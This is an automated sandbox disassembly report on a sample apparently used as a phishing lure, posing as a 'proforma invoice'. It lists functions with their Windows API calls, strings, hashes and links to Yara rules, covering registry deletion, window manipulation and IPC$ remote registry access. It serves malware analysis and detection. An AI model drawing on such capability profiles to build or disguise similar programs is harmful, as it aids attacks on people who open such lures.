Opcode ID: 46b0ec144bdd7f7b1185e012f9ea65f5dc8eb39005908d3413ff31917b211cca
Instruction ID: 5850538e5a5dd0f0e8605cd476da68c21e88af08afc53b25e449b48e2e9e387c
Opcode Fuzzy Hash: 46b0ec144bdd7f7b1185e012f9ea65f5dc8eb39005908d3413ff31917b211cca
Instruction Fuzzy Hash: D761F275D00219EFCF04CFA8D984EAEBBB5FF48310F20852AE955A7250D774A941DFA4

Function 0045DA5D Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0045DAA1

Part of subcall function 0045D63C: _free.LIBCMT ref: 0045D659
Part of subcall function 0045D63C: _free.LIBCMT ref: 0045D66B
Part of subcall function 0045D63C: _free.LIBCMT ref: 0045D67D
Part of subcall function 0045D63C: _free.LIBCMT ref: 0045D68F
Part of subcall function 0045D63C: _free.LIBCMT ref: 0045D6A1
Part of subcall function 0045D63C: _free.LIBCMT ref: 0045D6B3
Part of subcall function 0045D63C: _free.LIBCMT ref: 0045D6C5
Part of subcall function 0045D63C: _free.LIBCMT ref: 0045D6D7
Part of subcall function 0045D63C: _free.LIBCMT ref: 0045D6E9
Part of subcall function 0045D63C: _free.LIBCMT ref: 0045D6FB
Part of subcall function 0045D63C: _free.LIBCMT ref: 0045D70D
Part of subcall function 0045D63C: _free.LIBCMT ref: 0045D71F
Part of subcall function 0045D63C: _free.LIBCMT ref: 0045D731

_free.LIBCMT ref: 0045DA96

Part of subcall function 004529C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0045D7D1,00000000,00000000,00000000,00000000,?,0045D7F8,00000000,00000007,00000000,?,0045DBF5,00000000), ref: 004529DE
Part of subcall function 004529C8: GetLastError.KERNEL32(00000000,?,0045D7D1,00000000,00000000,00000000,00000000,?,0045D7F8,00000000,00000007,00000000,?,0045DBF5,00000000,00000000), ref: 004529F0

_free.LIBCMT ref: 0045DAB8
_free.LIBCMT ref: 0045DACD
_free.LIBCMT ref: 0045DAD8
_free.LIBCMT ref: 0045DAFA
_free.LIBCMT ref: 0045DB0D
_free.LIBCMT ref: 0045DB1B
_free.LIBCMT ref: 0045DB26
_free.LIBCMT ref: 0045DB5E
_free.LIBCMT ref: 0045DB65
_free.LIBCMT ref: 0045DB82
_free.LIBCMT ref: 0045DB9A

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: b28f461fdd11ef3fee1936afcffcd966e508a5346beacfa43602d52e34a9d4e3
Instruction ID: 53ec7a0022f0938dbd41c3634ddb95293483a63b4bdbe943a5fb573791d91ed3
Opcode Fuzzy Hash: b28f461fdd11ef3fee1936afcffcd966e508a5346beacfa43602d52e34a9d4e3
Instruction Fuzzy Hash: FB314DB1A042049FDB31AA36D945B9777E9FF01316F11442BE849E7293DA79AC48C728

Function 0048365B Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 267windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 0048369C
_wcslen.LIBCMT ref: 004836A7
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00483797
GetClassNameW.USER32(?,?,00000400), ref: 0048380C
GetDlgCtrlID.USER32(?), ref: 0048385D
GetWindowRect.USER32(?,?), ref: 00483882
GetParent.USER32(?), ref: 004838A0
ScreenToClient.USER32(00000000), ref: 004838A7
GetClassNameW.USER32(?,?,00000100), ref: 00483921
GetWindowTextW.USER32(?,?,00000400), ref: 0048395D

Strings

%s%u, xrefs: 00483734

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout_wcslen
String ID: %s%u
API String ID: 4010501982-679674701
Opcode ID: 9658e46a74bc45f024a483b63cdc18062ca96e116ab06c6148d8d7e4b16b7ea9
Instruction ID: 33094ff49ef600fbfbb14a3a21e878f5e01830b54b9106d5b6b44f0221d3343c
Opcode Fuzzy Hash: 9658e46a74bc45f024a483b63cdc18062ca96e116ab06c6148d8d7e4b16b7ea9
Instruction Fuzzy Hash: 5091D471204606AFD714EF24C884FAFF7A8FF44705F008A2AF999D2250DB38EA45CB95

Function 00484954 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 253COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000400), ref: 00484994
GetWindowTextW.USER32(?,?,00000400), ref: 004849DA
_wcslen.LIBCMT ref: 004849EB
CharUpperBuffW.USER32(?,00000000), ref: 004849F7
_wcsstr.LIBVCRUNTIME ref: 00484A2C
GetClassNameW.USER32(00000018,?,00000400), ref: 00484A64
GetWindowTextW.USER32(?,?,00000400), ref: 00484A9D
GetClassNameW.USER32(00000018,?,00000400), ref: 00484AE6
GetClassNameW.USER32(?,?,00000400), ref: 00484B20
GetWindowRect.USER32(?,?), ref: 00484B8B

Strings

ThumbnailClass, xrefs: 00484A6F, 00484AF1

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen_wcsstr
String ID: ThumbnailClass
API String ID: 1311036022-1241985126
Opcode ID: 1677d1aa6d8ee92ed31d85e3d435eef80871a08b2cbec30063cfbe48b3583d29
Instruction ID: 1d0dda2efd574100e938ee76ee5254b9d0b0cefac96e166f4d76d946ccbd6c89
Opcode Fuzzy Hash: 1677d1aa6d8ee92ed31d85e3d435eef80871a08b2cbec30063cfbe48b3583d29
Instruction Fuzzy Hash: B791BC711042069BDB04EF15C981FAF77A8FF84314F04886BFD859A296DB38ED45CBA9

Function 004B8D0E Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 221windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00439BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00439BB2

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 004B8D5A
GetFocus.USER32 ref: 004B8D6A
GetDlgCtrlID.USER32(00000000), ref: 004B8D75
DefDlgProcW.USER32(?,00000111,?,?,00000000,?,?,?,?,?,?,?), ref: 004B8E1D
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 004B8ECF
GetMenuItemCount.USER32(?), ref: 004B8EEC
GetMenuItemID.USER32(?,00000000), ref: 004B8EFC
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 004B8F2E
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 004B8F70
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 004B8FA1

Strings

0, xrefs: 004B8E9F

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow
String ID: 0
API String ID: 1026556194-4108050209
Opcode ID: 0de44d9c86b425a17aa455220d1e80eb480c57c0a957df884a79e07dce5a0d10
Instruction ID: c84954fc4cbd1f57973e8b0a4a183cdc4c3aed03af693174087998497e1d3c7c
Opcode Fuzzy Hash: 0de44d9c86b425a17aa455220d1e80eb480c57c0a957df884a79e07dce5a0d10
Instruction Fuzzy Hash: 14817E71504311ABDB10CF24C884AABB7EDFB88354F140A2EF985D7291DB78D901CB79

Function 0048DC0E Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 178COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 0048DC20
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 0048DC46
_wcslen.LIBCMT ref: 0048DC50
_wcsstr.LIBVCRUNTIME ref: 0048DCA0
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 0048DCBC

Strings

%u.%u.%u.%u, xrefs: 0048DD9A
StringFileInfo\, xrefs: 0048DC8F
04090000, xrefs: 0048DCF2
DefaultLangCodepage, xrefs: 0048DD1F
\VarFileInfo\Translation, xrefs: 0048DCB4

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: FileInfoVersion$QuerySizeValue_wcslen_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 1939486746-1459072770
Opcode ID: 76ad5a06216a66f4154dbb86d7509e7e78eab29d5ab906dd7a4e8461cfbe1cff
Instruction ID: 34a65b05baed336b206b3cca7cca5211770db721fc957b63000022d568f16c90
Opcode Fuzzy Hash: 76ad5a06216a66f4154dbb86d7509e7e78eab29d5ab906dd7a4e8461cfbe1cff
Instruction Fuzzy Hash: B0410232D402017AEB10B676DC83EBF77ACEF55754F10046FF900A6182EA6C990197AD

Function 004ACC34 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 104registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 004ACC64
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?,00000000), ref: 004ACC8D
FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 004ACD48

Part of subcall function 004ACC34: RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 004ACCAA
Part of subcall function 004ACC34: LoadLibraryA.KERNEL32(advapi32.dll,?,?,00000000), ref: 004ACCBD
Part of subcall function 004ACC34: GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 004ACCCF
Part of subcall function 004ACC34: FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 004ACD05
Part of subcall function 004ACC34: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 004ACD28

RegDeleteKeyW.ADVAPI32(?,?), ref: 004ACCF3

Strings

advapi32.dll, xrefs: 004ACCB8
RegDeleteKeyExW, xrefs: 004ACCC9

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Library$EnumFree$AddressCloseDeleteLoadOpenProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2734957052-4033151799
Opcode ID: 9b23677c214e412feb25a264182ed8cce91d3de151bcfd7bdeda67dd5f19d897
Instruction ID: e59dbf787c30ed4c3ff64007a701e30d030501990c91df5b8ba6f8432c9d14b6
Opcode Fuzzy Hash: 9b23677c214e412feb25a264182ed8cce91d3de151bcfd7bdeda67dd5f19d897
Instruction Fuzzy Hash: B2318071901128BBD7209B95DCC8EFFBB7CEF26750F000166B906E2240DB789A459AB8

Function 0048E6B0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 0048E6B4

Part of subcall function 0043E551: timeGetTime.WINMM(?,?,0048E6D4), ref: 0043E555

Sleep.KERNEL32(0000000A), ref: 0048E6E1
EnumThreadWindows.USER32(?,Function_0006E665,00000000), ref: 0048E705
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 0048E727
SetActiveWindow.USER32 ref: 0048E746
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 0048E754
SendMessageW.USER32(00000010,00000000,00000000), ref: 0048E773
Sleep.KERNEL32(000000FA), ref: 0048E77E
IsWindow.USER32 ref: 0048E78A
EndDialog.USER32(00000000), ref: 0048E79B

Strings

BUTTON, xrefs: 0048E719

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: dfbdc9079dd3c2cd1ce914e8b51f33b69eeb55c0b2504dc666a10ed1ec47bd10
Instruction ID: 052e8e9a7e95f5040ec27539b4336f0b2930f42fa79fb6d97dfaf71ea67588a3
Opcode Fuzzy Hash: dfbdc9079dd3c2cd1ce914e8b51f33b69eeb55c0b2504dc666a10ed1ec47bd10
Instruction Fuzzy Hash: E32162B4200205AFFB106F66EDC9E3A3B69E754749F501936F801E12B1DBB5AC50DB2C

Function 0048E9FC Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 00429CB3: _wcslen.LIBCMT ref: 00429CBD

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 0048EA5D
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 0048EA73
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0048EA84
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 0048EA96
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 0048EAA7

Strings

status PlayMe mode, xrefs: 0048EA58
close PlayMe, xrefs: 0048EA6E, 0048EA9B
play PlayMe wait, xrefs: 0048EA91
open , xrefs: 0048EA0C
play PlayMe, xrefs: 0048EAA2
alias PlayMe, xrefs: 0048EA36

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: SendString$_wcslen
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2420728520-1007645807
Opcode ID: bd96acce5be34844824893d96d0a65ce0b84805582cbb52c05e9be3b9fdcf15a
Instruction ID: ae891ed718cd405ccf14250d9a0ed62dbffb8b1ae2511c0b9e1d72db2f062fc2
Opcode Fuzzy Hash: bd96acce5be34844824893d96d0a65ce0b84805582cbb52c05e9be3b9fdcf15a
Instruction Fuzzy Hash: CB11826165026979D724F763DC4AEFF6A7CEBD1F44F51082BB801A20D1DA780945C6B8

Function 00438BCD Relevance: 18.2, APIs: 12, Instructions: 168timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00438F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00438BE8,?,00000000,?,?,?,?,00438BBA,00000000,?), ref: 00438FC5

DestroyWindow.USER32(?), ref: 00438C81
KillTimer.USER32(00000000,?,?,?,?,00438BBA,00000000,?), ref: 00438D1B
DestroyAcceleratorTable.USER32(00000000), ref: 00476973
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,00000000,?,?,?,?,00438BBA,00000000,?), ref: 004769A1
ImageList_Destroy.COMCTL32(?,?,?,?,?,?,?,00000000,?,?,?,?,00438BBA,00000000,?), ref: 004769B8
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00438BBA,00000000), ref: 004769D4
DeleteObject.GDI32(00000000), ref: 004769E6

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: ad012e679e6fe8cfe916e999ec19e5ae42c2481a949ffac4e04b0b55d1fbd15b
Instruction ID: 4073c1240ef3383d6fd55069c77054874bed5b941f43f2c39adcce04d666bbb2
Opcode Fuzzy Hash: ad012e679e6fe8cfe916e999ec19e5ae42c2481a949ffac4e04b0b55d1fbd15b
Instruction Fuzzy Hash: 9061AD70102B00DFDB259F25C988B66B7F2FB48316F14A52EE04696670CB79AC91CF9D

Function 00439838 Relevance: 18.1, APIs: 12, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 00439944: GetWindowLongW.USER32(?,000000EB), ref: 00439952

GetSysColor.USER32(0000000F), ref: 00439862

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 94e07acad2a7c0755fc9b78a22b9c54c8f2fb0eb562f6202b504de1166f19318
Instruction ID: d856e25f8f0da12e4dd97e1e23d7488aa8c9b6b8d89ae7c452337e298399bdb5
Opcode Fuzzy Hash: 94e07acad2a7c0755fc9b78a22b9c54c8f2fb0eb562f6202b504de1166f19318
Instruction Fuzzy Hash: 5641D531104640AFDB246F3C9CC4BBA3B65EB4A330F145616F9A6972E2C7B99C42DF19

Function 00458D45 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 300COMMONLIBRARYCODE

Download Yara Rule

Strings

.D, xrefs: 0045903A, 00458FD0, 00458FF2

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID:
String ID: .D
API String ID: 0-3625442119
Opcode ID: ce12a0330fff31c5ac3319b6c0e2184d86dd2926c6ac8f26c6ab786bbf9e3bd4
Instruction ID: b8db4f4a45e9688cc903afd3798f038090bbe80441aac9bbc5750a36dab01d1b
Opcode Fuzzy Hash: ce12a0330fff31c5ac3319b6c0e2184d86dd2926c6ac8f26c6ab786bbf9e3bd4
Instruction Fuzzy Hash: 74C1E175904249EFDF11DFA9C841BAEBBB0BF49311F04409AE814A7393CB788D49CB69

Function 004896E2 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,?,?,0046F7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?), ref: 00489717
LoadStringW.USER32(00000000,?,0046F7F8,00000001), ref: 00489720

Part of subcall function 00429CB3: _wcslen.LIBCMT ref: 00429CBD

GetModuleHandleW.KERNEL32(00000000,00000001,?,00000FFF,?,?,0046F7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?,00000000), ref: 00489742
LoadStringW.USER32(00000000,?,0046F7F8,00000001), ref: 00489745
MessageBoxW.USER32(00000000,00000000,?,00011010), ref: 00489866

Strings

Error: , xrefs: 0048981D
Line %d (File "%s"):, xrefs: 0048978F
^ ERROR, xrefs: 004897FB
Line %d:, xrefs: 004897A0
%s (%d) : ==> %s: %s %s, xrefs: 0048984A

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wcslen
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 747408836-2268648507
Opcode ID: 42e7cae112b63630f914bb679c77f6201b42d1a0ea3df28c157bcff3a1facf7f
Instruction ID: 315f42e0503af1636a761416fa021e98f0badf8db14939f61a1af596cf0b0a27
Opcode Fuzzy Hash: 42e7cae112b63630f914bb679c77f6201b42d1a0ea3df28c157bcff3a1facf7f
Instruction Fuzzy Hash: 28416172900219ABCB04FBE2DD86EEE7778AF14745F54042AF50172091EB3D6F48CB69

Function 004806DE Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 127registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00426B57: _wcslen.LIBCMT ref: 00426B6A

WNetAddConnection2W.MPR(?,?,?,00000000), ref: 004807A2
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 004807BE
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 004807DA
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00480804
CLSIDFromString.OLE32(?,000001FE,?,SOFTWARE\Classes\), ref: 0048082C
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00480837
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 0048083C

Strings

\CLSID, xrefs: 00480724
\IPC$, xrefs: 00480784
SOFTWARE\Classes\, xrefs: 0048070E

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_wcslen
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 323675364-22481851
Opcode ID: cd56ca3c3badfa68ef63769d66e3372a1aceb3ee48c39b684475d768da47836c
Instruction ID: cf6bcc40681bc4762d5d680904933e3b585e0e94b09034b4650811ee94175feb
Opcode Fuzzy Hash: cd56ca3c3badfa68ef63769d66e3372a1aceb3ee48c39b684475d768da47836c
Instruction Fuzzy Hash: F6412972D10228ABCF11FFA5DC858EEB778BF04744F54452AE801A3161EB385E58CBA4

Function 004A3C30 Relevance: 16.8, APIs: 11, Instructions: 344fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 004A3C5C
CoInitialize.OLE32(00000000), ref: 004A3C8A
CoUninitialize.OLE32 ref: 004A3C94
_wcslen.LIBCMT ref: 004A3D2D
GetRunningObjectTable.OLE32(00000000,?), ref: 004A3DB1
SetErrorMode.KERNEL32(00000001,00000029), ref: 004A3ED5
